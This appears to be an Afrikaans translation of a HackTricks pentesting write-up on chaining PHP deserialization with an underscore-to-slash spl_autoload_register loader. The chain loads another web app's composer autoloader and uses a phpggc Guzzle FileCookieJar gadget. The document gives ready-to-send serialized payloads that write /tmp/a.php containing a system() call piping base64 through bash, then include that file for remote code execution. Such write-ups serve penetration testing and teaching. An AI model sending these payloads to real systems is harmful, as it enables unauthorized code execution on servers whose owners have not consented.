hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
2024-02-11 02:07:06 +00:00

7.8 KiB

PHP - Deserialisasie + Autoload Klasse

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Eerstens moet jy nagaan wat Autoloading-klasse is.

PHP deserialisasie + spl_autoload_register + LFI/Gadget

Ons is in 'n situasie waar ons 'n PHP deserialisasie in 'n webtoepassing gevind het sonder 'n biblioteek wat vatbaar is vir gadgets binne phpggc. Tog was daar in dieselfde houer 'n ander komponis-webtoepassing met vatbare biblioteke. Daarom was die doel om die komponislaaier van die ander webtoepassing te laai en dit te misbruik om 'n gadget te laai wat daardie biblioteek met 'n gadget sal uitbuit van die webtoepassing wat vatbaar is vir deserialisasie.

Stappe:

  • Jy het 'n deserialisasie gevind en daar is geen gadget in die huidige toepassingskode nie
  • Jy kan 'n spl_autoload_register-funksie misbruik soos die volgende om enige plaaslike lêer met die .php-uitbreiding te laai
  • Hiervoor gebruik jy 'n deserialisasie waar die naam van die klas binne $name gaan wees. Jy kan nie "/" of "." in 'n klasnaam in 'n geserialiseerde voorwerp gebruik nie, maar die kode vervang die onderstreep ("_") met slaggate ("/"). So 'n klasnaam soos tmp_passwd sal omskep word na /tmp/passwd.php en die kode sal probeer om dit te laai.
    'n Gadget-voorbeeld sal wees: O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

{% hint style="success" %} As jy 'n lêer oplaai en 'n lêer met 'n .php uitbreiding kan oplaai, kan jy hierdie funksionaliteit direk misbruik en reeds RCE kry. {% endhint %}

In my geval het ek nie iets soos dit gehad nie, maar daar was binne dieselfde houer 'n ander komponisie webblad met 'n biblioteek wat vatbaar is vir 'n phpggc gadget.

  • Om hierdie ander biblioteek te laai, moet jy eers die komponisie laaier van daardie ander webtoepassing laai (omdat die een van die huidige aansoek nie toegang sal hê tot die biblioteke van die ander een nie.) Deur die pad van die aansoek te ken, kan jy dit baie maklik bereik met: O:28:"www_frontend_vendor_autoload":0:{} (In my geval was die komponisie laaier in /www/frontend/vendor/autoload.php)
  • Nou kan jy die komponisie laaier van die ander toepassing laai, dus is dit tyd om die phpggc payload te genereer om te gebruik. In my geval het ek Guzzle/FW1 gebruik, wat my in staat gestel het om enige lêer binne die lêersisteem te skryf.
  • NOTA: Die gegenereerde gadget het nie gewerk nie, sodat dit werk, het ek daardie payload chain.php van phpggc gewysig en alle eienskappe van die klasse van privaat na openbaar gesit. As dit nie gedoen word nie, het die eienskappe van die geskepte voorwerpe na die deserialisering van die string geen waardes gehad nie.
  • Nou het ons die manier om die komponisie laaier van die ander toepassing te laai en 'n phpggc payload wat werk, maar ons moet dit in DIESELFDE VERSOEK doen sodat die laaier gelaai word wanneer die gadget gebruik word. Vir dit het ek 'n geserializeerde reeks met beide voorwerpe gestuur soos:
  • Jy kan eerstens die laaier sien wat gelaai word en dan die payload

{% code overflow="wrap" %}

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

{% endcode %}

  • Nou kan ons 'n lêer skep en skryf, maar die gebruiker kan nie in enige vouer binne die webbediener skryf nie. Soos u kan sien in die payload, word PHP opgeroep met 'n bietjie base64 wat in /tmp/a.php geskep is. Dan kan ons die eerste tipe payload hergebruik wat ons as LFI gebruik het om die komponislaaier van die ander webtoepassing te laai om die gegenereerde /tmp/a.php-lêer te laai. Voeg dit net by die deserialisasie-gadget:

{% code overflow="wrap" %}

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

{% endcode %}

Opsomming van die lading

  • Laai die komponis outomatiese laai van 'n ander webtoepassing in dieselfde houer
  • Laai 'n phpggc-toestel om 'n biblioteek van die ander webtoepassing te misbruik (die oorspronklike webtoepassing wat vatbaar is vir deserialisering het geen toestel in sy biblioteke gehad nie)
  • Die toestel sal 'n lêer met 'n PHP-lading daarop skep in /tmp/a.php met skadelike opdragte (die webtoepassing-gebruiker kan nie in enige vouer van enige webtoepassing skryf nie)
  • Die finale deel van ons lading sal gebruik maak van laai die gegenereerde php-lêer wat opdragte sal uitvoer

Ek moes hierdie deserialisering twee keer roep. In my toetsing is die /tmp/a.php-lêer die eerste keer geskep maar nie gelaai nie, en die tweede keer is dit korrek gelaai.

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: